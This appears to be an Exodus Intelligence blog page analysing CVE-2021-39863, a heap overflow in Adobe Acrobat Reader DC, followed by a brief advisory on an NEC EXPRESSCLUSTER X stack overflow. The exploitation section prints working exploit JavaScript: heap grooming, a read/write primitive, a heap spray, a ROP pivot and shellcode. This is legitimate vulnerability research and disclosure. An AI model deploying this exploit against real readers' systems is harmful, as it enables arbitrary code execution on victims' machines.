Normal view

There are new articles available, click to refresh the page.
Before yesterdayExodus Intelligence

Analysis of a Heap Buffer-Overflow Vulnerability in Adobe Acrobat Reader DC

4 October 2021 at 13:52

By Sergi Martinez

In late June, we published a blog post containing analysis of exploitation of a heap-buffer overflow vulnerability in Adobe Reader, a vulnerability that we thought corresponded to CVE-2021-21017. The starting point for the research was a publicly posted proof-of-concept containing root-cause analysis. Soon after publishing the blog post, we learnt that the CVE was not authoritative and that the publicly posted proof-of-concept was an 0day, even if the 0day could not be reproduced in the patched version. We promptly pulled the blog post and began investigating.

Further research showed that the vulnerability continued to exist in the latest version and was exploitable with only a few changes to our exploit. We reported our findings to Adobe. Adobe assigned CVE-2021-39863 to this vulnerability and released an advisory and patched versions of their products on September 14th, 2021.

Since the exploits were very similar, this post largely overlaps with the blog post previously removed. It analyzes and exploits CVE-2021-39863, a heap buffer overflow in Adobe Acrobat Reader DC up to and including version 2021.005.20060.

This post is similar to our previous post on Adobe Acrobat Reader, which exploits a use-after-free vulnerability that also occurs while processing Unicode and ANSI strings.

Overview

A heap buffer-overflow occurs in the concatenation of an ANSI-encoded string corresponding to a PDF document’s base URL. This occurs when an embedded JavaScript script calls functions located in the IA32.api module that deals with internet access, such as this.submitForm and app.launchURL. When these functions are called with a relative URL of a different encoding to the PDF’s base URL, the relative URL is treated as if it has the same encoding as the PDF’s path. This can result in the copying twice the number of bytes of the source ANSI string (relative URL) into a properly-sized destination buffer, leading to both an out-of-bounds read and a heap buffer overflow.

CVE-2021-39863

Acrobat Reader has a built-in JavaScript engine based on Mozilla’s SpiderMonkey. Embedded JavaScript code in PDF files is processed and executed by the EScript.api module in Adobe Reader.

Internet access related operations are handled by the IA32.api module. The vulnerability occurs within this module when a URL is built by concatenating the PDF document’s base URL and a relative URL. This relative URL is specified as a parameter in a call to JavaScript functions that trigger any kind of Internet access such as this.submitForm and app.launchURL. In particular, the vulnerability occurs when the encoding of both strings differ.

The concatenation of both strings is done by allocating enough memory to fit the final string. The computation of the length of both strings is correctly done taking into account whether they are ANSI or Unicode. However, when the concatenation occurs only the base URL encoding is checked and the relative URL is considered to have the same encoding as the base URL. When the relative URL is ANSI encoded, the code that copies bytes from the relative URL string buffer into the allocated buffer copies it two bytes at a time instead of just one byte at a time. This leads to reading a number of bytes equal to the length of the relative URL from outside the source buffer and copying it beyond the bounds of the destination buffer by the same length, resulting in both an out-of-bounds read and an out-of-bounds write vulnerability.

Code Analysis

The following code blocks show the affected parts of methods relevant to this vulnerability. Code snippets are demarcated by reference marks denoted by [N]. Lines not relevant to this vulnerability are replaced by a [Truncated] marker.

All code listings show decompiled C code; source code is not available in the affected product. Structure definitions are obtained by reverse engineering and may not accurately reflect structures defined in the source code.

The following function is called when a relative URL needs to be concatenated to a base URL. Aside from the concatenation it also checks that both URLs are valid.

__int16 __cdecl sub_25817D70(wchar_t *Source, CHAR *lpString, char *String, _DWORD *a4, int *a5)
{
  __int16 v5; // di
  wchar_t *v6; // ebx
  CHAR *v7; // eax
  CHAR v8; // dl
  __int64 v9; // rax
  wchar_t *v10; // ecx
  __int64 v11; // rax
  int v12; // eax
  int v13; // eax
  int v14; // eax

[Truncated]

  v77 = 0;
  v76 = 0;
  v5 = 1;
  *(_QWORD *)v78 = 0i64;
  *(_QWORD *)iMaxLength = 0i64;
  v6 = 0;
  v49 = 0;
  v62 = 0;
  v74 = 0;
  if ( !a5 )
    return 0;
  *a5 = 0;
  v7 = lpString;

[1]

  if ( lpString && *lpString && (v8 = lpString[1]) != 0 && *lpString == (CHAR)0xFE && v8 == (CHAR)0xFF )
  {

[2]

    v9 = sub_2581890C(lpString);
    v78[1] = v9;
    if ( (HIDWORD(v9) & (unsigned int)v9) == -1 )
    {
LABEL_9:
      *a5 = -2;
      return 0;
    }
    v7 = lpString;
  }
  else
  {

[3]

    v78[1] = v78[0];
  }
  v10 = Source;
  if ( !Source || !v7 || !String || !a4 )
  {
    *a5 = -2;
    goto LABEL_86;
  }

[4]

  if ( *(_BYTE *)Source != 0xFE )
    goto LABEL_25;
  if ( *((_BYTE *)Source + 1) == 0xFF )
  {
    v11 = sub_2581890C(Source);
    iMaxLength[1] = v11;
    if ( (HIDWORD(v11) & (unsigned int)v11) == -1 )
      goto LABEL_9;
    v10 = Source;
    v12 = iMaxLength[1];
  }
  else
  {
    v12 = iMaxLength[0];
  }

[5]

  if ( *(_BYTE *)v10 == 0xFE && *((_BYTE *)v10 + 1) == 0xFF )
  {
    v13 = v12 + 2;
  }
  else
  {
LABEL_25:
    v14 = sub_25802A44((LPCSTR)v10);
    v10 = v37;
    v13 = v14 + 1;
  }
  iMaxLength[1] = v13;

[6]

  v15 = (CHAR *)sub_25802CD5(v10, 1, v13);
  v77 = v15;
  if ( !v15 )
  {
    *a5 = -7;
    return 0;
  }

[7]

  sub_25802D98(v38, (wchar_t *)v15, Source, iMaxLength[1]);

[8]

  if ( *lpString == (CHAR)0xFE && lpString[1] == (CHAR)0xFF )
  {
    v17 = v78[1] + 2;
  }
  else
  {
    v18 = sub_25802A44(lpString);
    v16 = v39;
    v17 = v18 + 1;
  }
  v78[1] = v17;

[9]

  v19 = (CHAR *)sub_25802CD5(v16, 1, v17);
  v76 = v19;
  if ( !v19 )
  {
    *a5 = -7;
LABEL_86:
    v5 = 0;
    goto LABEL_87;
  }

[10]

  sub_25802D98(v40, (wchar_t *)v19, (wchar_t *)lpString, v78[1]);
  if ( !(unsigned __int16)sub_258033CD(v77, iMaxLength[1], a5) || !(unsigned __int16)sub_258033CD(v76, v78[1], a5) )
    goto LABEL_86;

[11]

  v20 = sub_25802400(v77, v42);
  if ( v20 || (v20 = sub_25802400(v76, v50)) != 0 )
  {
    *a5 = v20;
    goto LABEL_86;
  }
  if ( !*(_BYTE *)Source || (v21 = v42[0], v50[0] != 5) && v50[0] != v42[0] )
  {
    v35 = sub_25802FAC(v50);
    v23 = a4;
    v24 = v35 + 1;
    if ( v35 + 1 > *a4 )
      goto LABEL_44;
    *a4 = v35;
    v25 = v50;
    goto LABEL_82;
  }
  if ( *lpString )
  {
    v26 = v55;
    v63[1] = v42[1];
    v63[2] = v42[2];
    v27 = v51;
    v63[0] = v42[0];
    v73 = 0i64;
    if ( !v51 && !v53 && !v55 )
    {
      if ( (unsigned __int16)sub_25803155(v50) )
      {
        v28 = v44;
        v64 = v42[3];
        v65 = v42[4];
        v66 = v42[5];
        v67 = v42[6];
        v29 = v43;
        if ( v49 == 1 )
        {
          v29 = v43 + 2;
          v28 = v44 - 1;
          v43 += 2;
          --v44;
        }
        v69 = v28;
        v68 = v29;
        v70 = v45;
        if ( v58 )
        {
          if ( *v59 != 47 )
          {

[12]

            v6 = (wchar_t *)sub_25802CD5((wchar_t *)(v58 + 1), 1, v58 + 1 + v46);
            if ( !v6 )
            {
              v23 = a4;
              v24 = v58 + v46 + 1;
              goto LABEL_44;
            }
            if ( v46 )
            {

[13]

              sub_25802D98(v41, v6, v47, v46 + 1);
              if ( *((_BYTE *)v6 + v46 - 1) != 47 )
              {
                v31 = sub_25818D6E(v30, (char *)v6, 47);
                if ( v31 )
                  *(_BYTE *)(v31 + 1) = 0;
                else
                  *(_BYTE *)v6 = 0;
              }
            }
            if ( v58 )
            {

[14]

              v32 = sub_25802A44((LPCSTR)v6);
              sub_25818C6A((char *)v6, v59, v58 + 1 + v32);
            }
            sub_25802E0C(v6, 0);
            v71 = sub_25802A44((LPCSTR)v6);
            v72 = v6;
            goto LABEL_75;
          }
          v71 = v58;
          v72 = v59;
        }

[Truncated]

LABEL_87:
  if ( v77 )
    (*(void (__cdecl **)(LPCSTR))(dword_25824098 + 12))(v77);
  if ( v76 )
    (*(void (__cdecl **)(LPCSTR))(dword_25824098 + 12))(v76);
  if ( v6 )
    (*(void (__cdecl **)(wchar_t *))(dword_25824098 + 12))(v6);
  return v5;
}

The function listed above receives as parameters a string corresponding to a base URL and a string corresponding to a relative URL, as well as two pointers used to return data to the caller. The two string parameters are shown in the following debugger output.

IA32!PlugInMain+0x168b0:
63ee7d70 55              push    ebp
0:000> dd poi(esp+4) L84
093499c8  7468fffe 3a737074 6f672f2f 656c676f
093499d8  6d6f632e 4141412f 41414141 41414141
093499e8  41414141 41414141 41414141 41414141
093499f8  41414141 41414141 41414141 41414141

[Truncated]

09349b98  41414141 41414141 41414141 41414141
09349ba8  41414141 41414141 41414141 41414141
09349bb8  41414141 41414141 41414141 2f2f3a41
09349bc8  00000000 0009000a 00090009 00090009
0:000> da poi(esp+4) L84
093499c8  "..https://google.com/AAAAAAAAAAA"
093499e8  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
09349a08  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
09349a28  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
09349a48  "AAAA"
0:000> dd poi(esp+8)
0b943ca8  61616262 61616161 61616161 61616161
0b943cb8  61616161 61616161 61616161 61616161
0b943cc8  61616161 61616161 61616161 61616161
0b943cd8  61616161 61616161 61616161 61616161
0b943ce8  61616161 61616161 61616161 61616161
0b943cf8  61616161 61616161 61616161 61616161
0b943d08  61616161 61616161 61616161 61616161
0b943d18  61616161 61616161 61616161 61616161
0:000> da poi(esp+8)
0b943ca8  "bbaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
0b943cc8  "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
0b943ce8  "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
0b943d08  "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"

[Truncated]

0b943da8  "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
0b943dc8  "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
0b943de8  "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
0b943e08  "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"

The debugger output shown above corresponds to an execution of the exploit. It shows the contents of the first and second parameters (esp+4 and esp+8) of the function sub_25817D70. The first parameter contains a Unicode-encoded base URL https://google.com/ (notice the 0xfeff bytes at the start of the string), while the second parameter contains an ASCII string corresponding to the relative URL. Both contain a number of repeated bytes that serve as padding to control the allocation size needed to hold them, which is useful for exploitation.

At [1] a check is made to ascertain whether the second parameter (i.e. the base URL) is a valid Unicode UTF-16BE encoded string. If it is valid, the length of that string is calculated at [2] and stored in v78[1]. If it is not a valid UTF-16BE encoded string, v78[1] is set to 0 at [3]. The function that calculates the Unicode string length, sub_2581890C(), performs additional checks to ensure that the string passed as a parameter is a valid UTF-16BE encoded string. The following listing shows the decompiled code of this function.

int __cdecl sub_2581890C(char *a1)
{
  char *v1; // eax
  char v2; // cl
  int v3; // esi
  char v4; // bl
  char *v5; // eax
  int result; // eax

  v1 = a1;
  if ( !a1 || *a1 != (char)0xFE || a1[1] != (char)0xFF )
    goto LABEL_12;
  v2 = 0;
  v3 = 0;
  do
  {
    v4 = *v1;
    v5 = v1 + 1;
    if ( !v5 )
      break;
    v2 = *v5;
    v1 = v5 + 1;
    if ( !v4 )
      goto LABEL_10;
    if ( !v2 )
      break;
    v3 += 2;
  }
  while ( v1 );
  if ( v4 )
    goto LABEL_12;
LABEL_10:
  if ( !v2 )
    result = v3;
  else
LABEL_12:
    result = -1;
  return result;
}

The code listed above returns the length of the UTF-16BE encoded string passed as a parameter. Additionally, it implicitly performs the following checks to ensure the string has a valid UTF-16BE encoding:

  • The string must terminate with a double null byte.
  • The words composing the string that are not the terminator must not contain a null byte.

If any of the checks above fail, the function returns -1.

Continuing with the first function mentioned in this section, at [4] the same checks already described are applied to the first parameter (i.e. the relative URL). At [5] the length of the Source variable (i.e. the base URL) is calculated taking into account its encoding. The function sub_25802A44() is an implementation of the strlen() function that works for both Unicode and ANSI encoded strings. At [6] an allocation of the size of the Source variable is performed by calling the function sub_25802CD5(), which is an implementation of the known calloc() function. Then, at [7], the contents of the Source variable are copied into this new allocation using the function sub_25802D98(), which is an implementation of the strncpy function that works for both Unicode and ANSI encoded strings. These operations performed on the Source variable are equally performed on the lpString variable (i.e. the relative URL) at [8], [9], and [10].

The function at [11], sub_25802400(), receives a URL or a part of it and performs some validation and processing. This function is called on both base and relative URLs.

At [12] an allocation of the size required to host the concatenation of the relative URL and the base URL is performed. The lengths provided are calculated in the function called at [11]. For the sake of simplicity it is illustrated with an example: the following debugger output shows the value of the parameters to sub_25802CD5 that correspond to the number of elements to be allocated, and the size of each element. In this case the size is the addition of the length of the base and relative URLs.

eax=00002600 ebx=00000000 ecx=00002400 edx=00000000 esi=010fd228 edi=00000001
eip=61912cd5 esp=010fd0e4 ebp=010fd1dc iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
IA32!PlugInMain+0x1815:
61912cd5 55              push    ebp
0:000> dd esp+4 L1
010fd0e8  00000001
0:000> dd esp+8 L1
010fd0ec  00002600

Afterwards, at [13] the base URL is copied into the memory allocated to host the concatenation and at [14] its length is calculated and provided as a parameter to the call to sub_25818C6A. This function implements string concatenation for both Unicode and ANSI strings. The call to this function at [14] provides the base URL as the first parameter, the relative URL as the second parameter and the expected full size of the concatenation as the third. This function is listed below.

int __cdecl sub_sub_25818C6A(char *Destination, char *Source, int a3)
{
  int result; // eax
  int pExceptionObject; // [esp+10h] [ebp-4h] BYREF

  if ( !Destination || !Source || !a3 )
  {
    (*(void (__thiscall **)(_DWORD, int))(dword_258240A4 + 4))(*(_DWORD *)(dword_258240A4 + 4), 1073741827);
    pExceptionObject = 0;
    CxxThrowException(&pExceptionObject, (_ThrowInfo *)&_TI1H);
  }

[15]

  pExceptionObject = sub_25802A44(Destination);
  if ( pExceptionObject + sub_25802A44(Source) <= (unsigned int)(a3 - 1) )
  {

[16]

    sub_258189D6(Destination, Source);
    result = 1;
  }
  else
  {

[17]

    strncat(Destination, Source, a3 - pExceptionObject - 1);
    result = 0;
    Destination[a3 - 1] = 0;
  }
  return result;
}

In the above listing, at [15] the length of the destination string is calculated. It then checks if the length of the destination string plus the length of the source string is less or equal than the desired concatenation length minus one. If the check passes, the function sub_258189D6 is called at [16]. Otherwise the strncat function at [17] is called.

The function sub_258189D6 called at [16] implements the actual string concatenation that works for both Unicode and ANSI strings.

LPSTR __cdecl sub_258189D6(LPSTR lpString1, LPCSTR lpString2)
{
  int v3; // eax
  LPCSTR v4; // edx
  CHAR *v5; // ecx
  CHAR v6; // al
  CHAR v7; // bl
  int pExceptionObject; // [esp+10h] [ebp-4h] BYREF

  if ( !lpString1 || !lpString2 )
  {
    (*(void (__thiscall **)(_DWORD, int))(dword_258240A4 + 4))(*(_DWORD *)(dword_258240A4 + 4), 1073741827);
    pExceptionObject = 0;
    CxxThrowException(&pExceptionObject, (_ThrowInfo *)&_TI1H);
  }

[18]

  if ( *lpString1 == (CHAR)0xFE && lpString1[1] == (CHAR)0xFF )
  {

[19]

    v3 = sub_25802A44(lpString1);
    v4 = lpString2 + 2;
    v5 = &lpString1[v3];
    do
    {
      do
      {
        v6 = *v4;
        v4 += 2;
        *v5 = v6;
        v5 += 2;
        v7 = *(v4 - 1);
        *(v5 - 1) = v7;
      }
      while ( v6 );
    }
    while ( v7 );
  }
  else
  {

[20]

    lstrcatA(lpString1, lpString2);
  }
  return lpString1;
}

In the function listed above, at [18] the first parameter (the destination) is checked for the Unicode BOM marker 0xFEFF. If the destination string is Unicode the code proceeds to [19]. There, the source string is appended at the end of the destination string two bytes at a time. If the destination string is ANSI, then the known lstrcatA function is called at [20].

It becomes clear that in the event that the destination string is Unicode and the source string is ANSI, for each character of the ANSI string two bytes are actually copied. This causes an out-of-bounds read of the size of the ANSI string that becomes a heap buffer overflow of the same size once the bytes are copied.

Exploitation

We’ll now walk through how this vulnerability can be exploited to achieve arbitrary code execution. 

Adobe Acrobat Reader DC version 2021.005.20048 running on Windows 10 x64 was used to develop the exploit. Note that Adobe Acrobat Reader DC is a 32-bit application. A successful exploit strategy needs to bypass the following security mitigations on the target:

  • Address Space Layout Randomization (ASLR)
  • Data Execution Prevention (DEP)
  • Control Flow Guard (CFG)

The exploit does not bypass the following protection mechanisms:

  • Control Flow Guard (CFG): CFG must be disabled in the Windows machine for this exploit to work. This may be done from the Exploit Protection settings of Windows 10, setting the Control Flow Guard (CFG) option to Off by default.

In order to exploit this vulnerability bypassing ASLR and DEP, the following strategy is adopted:

  1. Prepare the heap layout to allow controlling the memory areas adjacent to the allocations made for the base URL and the relative URL. This involves performing enough allocations to activate the Low Fragmentation Heap bucket for the two sizes, and enough allocations to entirely fit a UserBlock. The allocations with the same size as the base URL allocation must contain an ArrayBuffer object, while the allocations with the same size as the relative URL must have the data required to overwrite the byteLength field of one of those ArrayBuffer objects with the value 0xffff.
  2. Poke some holes on the UserBlock by nullifying the reference to some of the recently allocated memory chunks.
  3. Trigger the garbage collector to free the memory chunks referenced by the nullified objects. This provides room for the base URL and relative URL allocations.
  4. Trigger the heap buffer overflow vulnerability, so the data in the memory chunk adjacent to the relative URL will be copied to the memory chunk adjacent to the base URL.
  5. If everything worked, step 4 should have overwritten the byteLength of one of the controlled ArrayBuffer objects. When a DataView object is created on the corrupted ArrayBuffer it is possible to read and write memory beyond the underlying allocation. This provides a precise way of overwriting the byteLength of the next ArrayBuffer with the value 0xffffffff. Creating a DataView object on this last ArrayBuffer allows reading and writing memory arbitrarily, but relative to where the ArrayBuffer is.
  6. Using the R/W primitive built, walk the NT Heap structure to identify the BusyBitmap.Buffer pointer. This allows knowing the absolute address of the corrupted ArrayBuffer and build an arbitrary read and write primitive that allows reading from and writing to absolute addresses.
  7. To bypass DEP it is required to pivot the stack to a controlled memory area. This is done by using a ROP gadget that writes a fixed value to the ESP register.
  8. Spray the heap with ArrayBuffer objects with the correct size so they are adjacent to each other. This should place a controlled allocation at the address pointed by the stack-pivoting ROP gadget.
  9. Use the arbitrary read and write to write shellcode in a controlled memory area, and to write the ROP chain to execute VirtualProtect to enable execution permissions on the memory area where the shellcode was written.
  10. Overwrite a function pointer of the DataView object used in the read and write primitive and trigger its call to hijack the execution flow.

The following sub-sections break down the exploit code with explanations for better understanding.

Preparing the Heap Layout

The size of the strings involved in this vulnerability can be controlled. This is convenient since it allows selecting the right size for each of them so they are handled by the Low Fragmentation Heap. The inner workings of the Low Fragmentation Heap (LFH) can be leveraged to increase the determinism of the memory layout required to exploit this vulnerability. Selecting a size that is not used in the program allows full control to activate the LFH bucket corresponding to it, and perform the exact number of allocations required to fit one UserBlock.

The memory chunks within a UserBlock are returned to the user randomly when an allocation is performed. The ideal layout required to exploit this vulnerability is having free chunks adjacent to controlled chunks, so when the strings required to trigger the vulnerability are allocated they fall in one of those free chunks.

In order to set up such a layout, 0xd+0x11 ArrayBuffers of size 0x2608-0x10-0x8 are allocated. The first 0x11 allocations are used to enable the LFH bucket, and the next 0xd allocations are used to fill a UserBlock (note that the number of chunks in the first UserBlock for that bucket size is not always 0xd, so this technique is not 100% effective). The ArrayBuffer size is selected so the underlying allocation is of size 0x2608 (including the chunk metadata), which corresponds to an LFH bucket not used by the application.

Then, the same procedure is done but allocating strings whose underlying allocation size is 0x2408, instead of allocating ArrayBuffers. The number of allocations to fit a UserBlock for this size can be 0xe.

The strings should contain the bytes required to overwrite the byteLength property of the ArrayBuffer that is corrupted once the vulnerability is triggered. The value that will overwrite the byteLength property is 0xffff. This does not allow leveraging the ArrayBuffer to read and write to the whole range of memory addresses in the process. Also, it is not possible to directly overwrite the byteLength with the value 0xffffffff since it would require overwriting the pointer of its DataView object with a non-zero value, which would corrupt it and break its functionality. Instead, writing only 0xffff allows avoiding overwriting the DataView object pointer, keeping its functionality intact since the leftmost two null bytes would be considered the Unicode string terminator during the concatenation operation.

function massageHeap() {

[1]

    var arrayBuffers = new Array(0xd+0x11);
    for (var i = 0; i < arrayBuffers.length; i++) {
        arrayBuffers[i] = new ArrayBuffer(0x2608-0x10-0x8);
        var dv = new DataView(arrayBuffers[i]);
    }

[2]

    var holeDistance = (arrayBuffers.length-0x11) / 2 - 1;
    for (var i = 0x11; i <= arrayBuffers.length; i += holeDistance) {
        arrayBuffers[i] = null;
    }


[3]

    var strings = new Array(0xe+0x11);
    var str = unescape('%u9090%u4140%u4041%uFFFF%u0000') + unescape('%0000%u0000') + unescape('%u9090%u9090').repeat(0x2408);
    for (var i = 0; i < strings.length; i++) {
        strings[i] = str.substring(0, (0x2408-0x8)/2 - 2).toUpperCase();
    }


[4]

    var holeDistance = (strings.length-0x11) / 2 - 1;
    for (var i = 0x11; i <= strings.length; i += holeDistance) {
        strings[i] = null;
    }

    return arrayBuffers;
}

In the listing above, the ArrayBuffer allocations are created in [1]. Then in [2] two pointers to the created allocations are nullified in order to attempt to create free chunks surrounded by controlled chunks.

At [3] and [4] the same steps are done with the allocated strings.

Triggering the Vulnerability

Triggering the vulnerability is as easy as calling the app.launchURL JavaScript function. Internally, the relative URL provided as a parameter is concatenated to the base URL defined in the PDF document catalog, thus executing the vulnerable function explained in the Code Analysis section of this post.

function triggerHeapOverflow() {
    try {
        app.launchURL('bb' + 'a'.repeat(0x2608 - 2 - 0x200 - 1 -0x8));
    } catch(err) {}
}

The size of the allocation holding the relative URL string must be the same as the one used when preparing the heap layout so it occupies one of the freed spots, and ideally having a controlled allocation adjacent to it.

Obtaining an Arbitrary Read / Write Primitive

When the proper heap layout is successfully achieved and the vulnerability has been triggered, an ArrayBuffer byteLength property would be corrupted with the value 0xffff. This allows writing past the boundaries of the underlying memory allocation and overwriting the byteLength property of the next ArrayBuffer. Finally, creating a DataView object on this last corrupted buffer allows to read and write to the whole memory address range of the process in a relative manner.

In order to be able to read from and write to absolute addresses the memory address of the corrupted ArrayBuffer must be obtained. One way of doing it is to leverage the NT Heap metadata structures to leak a pointer to the same structure. It is relevant that the chunk header contains the chunk number and that all the chunks in a UserBlock are consecutive and adjacent. In addition, the size of the chunks are known, so it is possible to compute the distance from the origin of the relative read and write primitive to the pointer to leak. In an analogous manner, since the distance is known, once the pointer is leaked the distance can be subtracted from it to obtain the address of the origin of the read and write primitive.

The following function implements the process described in this subsection.

function getArbitraryRW(arrayBuffers) {

[1]

    for (var i = 0; i < arrayBuffers.length; i++) {
        if (arrayBuffers[i] != null && arrayBuffers[i].byteLength == 0xffff) {
            var dv = new DataView(arrayBuffers[i]);
            dv.setUint32(0x25f0+0xc, 0xffffffff, true);
        }
    }

[2]

    for (var i = 0; i < arrayBuffers.length; i++) {
        if (arrayBuffers[i] != null && arrayBuffers[i].byteLength == -1) {
            var rw = new DataView(arrayBuffers[i]);
            corruptedBuffer = arrayBuffers[i];
        }
    }

[3]

    if (rw) {
        var chunkNumber = rw.getUint8(0xffffffff+0x1-0x13, true);
        var chunkSize = 0x25f0+0x10+8;

        var distanceToBitmapBuffer = (chunkSize * chunkNumber) + 0x18 + 8;
        var bitmapBufferPtr = rw.getUint32(0xffffffff+0x1-distanceToBitmapBuffer, true);

        startAddr = bitmapBufferPtr + distanceToBitmapBuffer-4;
        return rw;
    }
    return rw;
}

The function above at [1] tries to locate the initial corrupted ArrayBuffer and leverages it to corrupt the adjacent ArrayBuffer. At [2] it tries to locate the recently corrupted ArrayBuffer and build the relative arbitrary read and write primitive by creating a DataView object on it. Finally, at [3] the aforementioned method of obtaining the absolute address of the origin of the relative read and write primitive is implemented.

Once the origin address of the read and write primitive is known it is possible to use the following helper functions to read and write to any address of the process that has mapped memory.

function readUint32(dataView, absoluteAddress) {
    var addrOffset = absoluteAddress - startAddr;
    if (addrOffset < 0) {
        addrOffset = addrOffset + 0xffffffff + 1;
    }
    return dataView.getUint32(addrOffset, true);
}

function writeUint32(dataView, absoluteAddress, data) {
    var addrOffset = absoluteAddress - startAddr;
    if (addrOffset < 0) {
        addrOffset = addrOffset + 0xffffffff + 1;
    }
    dataView.setUint32(addrOffset, data, true);
}

Spraying ArrayBuffer Objects

The heap spray technique performs a large number of controlled allocations with the intention of having adjacent regions of controllable memory. The key to obtaining adjacent memory regions is to make the allocations of a specific size.

In JavaScript, a convenient way of making allocations in the heap whose content is completely controlled is by using ArrayBuffer objects. The memory allocated with these objects can be read from and written to with the use of DataView objects.

In order to get the heap allocation of the right size the metadata of ArrayBuffer objects and heap chunks have to be taken into consideration. The internal representation of ArrayBuffer objects tells that the size of the metadata is 0x10 bytes. The size of the metadata of a busy heap chunk is 8 bytes.

Since the objective is to have adjacent memory regions filled with controlled data, the allocations performed must have the exact same size as the heap segment size, which is 0x10000 bytes. Therefore, the ArrayBuffer objects created during the heap spray must be of 0xffe8 bytes.

function sprayHeap() {
    var heapSegmentSize = 0x10000;

[1]

    heapSpray = new Array(0x8000);
    for (var i = 0; i < 0x8000; i++) {
        heapSpray[i] = new ArrayBuffer(heapSegmentSize-0x10-0x8);
        var tmpDv = new DataView(heapSpray[i]);
        tmpDv.setUint32(0, 0xdeadbabe, true);
    }
}

The exploit function listed above performs the ArrayBuffer spray. The total size of the spray defined in [1] was determined by setting a number high enough so an ArrayBuffer would be allocated at the selected predictable address defined by the stack pivot ROP gadget used.

These purpose of these allocations is to have a controllable memory region at the address were the stack is relocated after the execution of the stack pivoting. This area can be used to prepare the call to VirtualProtect to enable execution permissions on the memory page were the shellcode is written.

Hijacking the Execution Flow and Executing Arbitrary Code

With the ability to arbitrarily read and write memory, the next steps are preparing the shellcode, writing it, and executing it. The security mitigations present in the application determine the strategy and techniques required. ASLR and DEP force using Return Oriented Programming (ROP) combined with leaked pointers to the relevant modules.

Taking this into account, the strategy can be the following:

  1. Obtain pointers to the relevant modules to calculate their base addresses.
  2. Pivot the stack to a memory region under our control where the addresses of the ROP gadgets can be written.
  3. Write the shellcode.
  4. Call VirtualProtect to change the shellcode memory region permissions to allow  execution.
  5. Overwrite a function pointer that can be called later from JavaScript.

The following functions are used in the implementation of the mentioned strategy.

[1]

function getAddressLeaks(rw) {
    var dataViewObjPtr = rw.getUint32(0xffffffff+0x1-0x8, true);

    var escriptAddrDelta = 0x275518;
    var escriptAddr = readUint32(rw, dataViewObjPtr+0xc) - escriptAddrDelta;

    var kernel32BaseDelta = 0x273eb8;
    var kernel32Addr = readUint32(rw, escriptAddr + kernel32BaseDelta);

    return [escriptAddr, kernel32Addr];
}
 
[2]

function prepareNewStack(kernel32Addr) {

    var virtualProtectStubDelta = 0x20420;
    writeUint32(rw, newStackAddr, kernel32Addr + virtualProtectStubDelta);

    var shellcode = [0x0082e8fc, 0x89600000, 0x64c031e5, 0x8b30508b, 0x528b0c52, 0x28728b14, 0x264ab70f, 0x3cacff31,
        0x2c027c61, 0x0dcfc120, 0xf2e2c701, 0x528b5752, 0x3c4a8b10, 0x78114c8b, 0xd10148e3, 0x20598b51,
        0x498bd301, 0x493ae318, 0x018b348b, 0xacff31d6, 0x010dcfc1, 0x75e038c7, 0xf87d03f6, 0x75247d3b,
        0x588b58e4, 0x66d30124, 0x8b4b0c8b, 0xd3011c58, 0x018b048b, 0x244489d0, 0x615b5b24, 0xff515a59,
        0x5a5f5fe0, 0x8deb128b, 0x8d016a5d, 0x0000b285, 0x31685000, 0xff876f8b, 0xb5f0bbd5, 0xa66856a2,
        0xff9dbd95, 0x7c063cd5, 0xe0fb800a, 0x47bb0575, 0x6a6f7213, 0xd5ff5300, 0x636c6163, 0x6578652e,
        0x00000000]


[3]

    var shellcode_size = shellcode.length * 4;
    writeUint32(rw, newStackAddr + 4 , startAddr);
    writeUint32(rw, newStackAddr + 8, startAddr);
    writeUint32(rw, newStackAddr + 0xc, shellcode_size);
    writeUint32(rw, newStackAddr + 0x10, 0x40);
    writeUint32(rw, newStackAddr + 0x14, startAddr + shellcode_size);

[4]

    for (var i = 0; i < shellcode.length; i++) {
        writeUint32(rw, startAddr+i*4, shellcode[i]);
    }

}

function hijackEIP(rw, escriptAddr) {
    var dataViewObjPtr = rw.getUint32(0xffffffff+0x1-0x8, true);

    var dvShape = readUint32(rw, dataViewObjPtr);
    var dvShapeBase = readUint32(rw, dvShape);
    var dvShapeBaseClasp = readUint32(rw, dvShapeBase);

    var stackPivotGadgetAddr = 0x2de29 + escriptAddr;

    writeUint32(rw, dvShapeBaseClasp+0x10, stackPivotGadgetAddr);

    var foo = rw.execFlowHijack;
}

In the code listing above, the function at [1] obtains the base addresses of the EScript.api and kernel32.dll modules, which are the ones required to exploit the vulnerability with the current strategy. The function at [2] is used to prepare the contents of the relocated stack, so that once the stack pivot is executed everything is ready. In particular, at [3] the address to the shellcode and the parameters to VirtualProtect are written. The address to the shellcode corresponds to the return address that the ret instruction of the VirtualProtect will restore, redirecting this way the execution flow to the shellcode. The shellcode is written at [4].

Finally, at [5] the getProperty function pointer of a DataView object under control is overwritten with the address of the ROP gadget used to pivot the stack, and a property of the object is accessed which triggers the execution of getProperty.

The stack pivot gadget used is from the EScript.api module, and is listed below:

0x2382de29: mov esp, 0x5d0013c2; ret;

When the instructions listed above are executed, the stack will be relocated to 0x5d0013c2 where the previously prepared allocation would be.

Conclusion

We hope you enjoyed reading this analysis of a heap buffer-overflow and learned something new. If you’re hungry for more, go and checkout our other blog posts!

The post Analysis of a Heap Buffer-Overflow Vulnerability in Adobe Acrobat Reader DC appeared first on Exodus Intelligence.

NEC EXPRESSCLUSTER X Disk Agent 0x103 Stack Overflow

1 November 2021 at 02:23

EIP-ff1ca610

A stack-based buffer overflow has been found in NEC EXPRESSCLUSTER X that can lead to remote arbitrary code execution with full SYSTEM privileges. The Disk Agent (clpdiskagent.exe) is the component that is tasked with handling shared disk resources and mirror disk control. It is configured to utilize port 29004 by default to facilitate communications between agents. This vulnerability occurs during the processing of opcode 0x103 when initializing a CPROGAGT routine within the Disk Agent. An attacker is able to introduce crafted data into the clpdiskagent component to allow for arbitrary code execution.

